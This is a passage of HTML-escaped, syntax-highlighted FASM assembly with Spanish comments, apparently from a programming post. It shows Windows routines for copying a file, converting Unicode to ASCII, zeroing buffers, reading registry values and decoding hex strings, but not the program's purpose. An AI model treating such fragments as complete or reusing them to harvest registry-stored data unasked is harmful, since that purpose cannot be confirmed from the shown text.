rgb(0, 0, 127);"&gt;EaX&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;3Ch&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Zerar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer3&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; UniToAscii&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer3&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CopyFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer3&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;  &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer2&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;exit&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; UniToAscii&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; ascii&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; unicode&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;unicode&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ascii&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;count&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &amp;lt;&amp;gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movsb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;count&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;count&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;exit&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Zerar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Puntero&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Cantidad  &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Funcion que llena de 0 una posicion&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Cantidad&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Puntero&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;loop&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; LeerRegistro&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cHKEY&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCampo&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cBuffer&lt;br /&gt;locals&lt;br /&gt;temp &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;Result &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;endl&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;temp&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH&lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; RegOpenKeyEx&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cHKEY&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;KEY_READ&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Result&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; &amp;lt;&amp;gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Si no hay datos devolvemos 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;lea&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;temp&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; RegQueryValueEx  &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Result&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCampo&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cBuffer&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; &amp;lt;&amp;gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Si no hay datos devolvemos 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; HexToString&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cPuntero&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCantidad&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cBuffer&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushad&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cPuntero&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cBuffer&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCantidad&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movzx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;16&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;div&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &amp;gt;= &lt;span style="color: rgb(127, 0, 127);"&gt;'A'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;9&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;16&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mul&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;word&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; = &lt;span style="color: rgb(127, 0, 127);"&gt;"C3"&lt;/span&gt; | &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;word&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;= &lt;span style="color: rgb(127, 0, 127);"&gt;"c3"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"ó"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;sub&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCantidad&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movzx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;edi&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 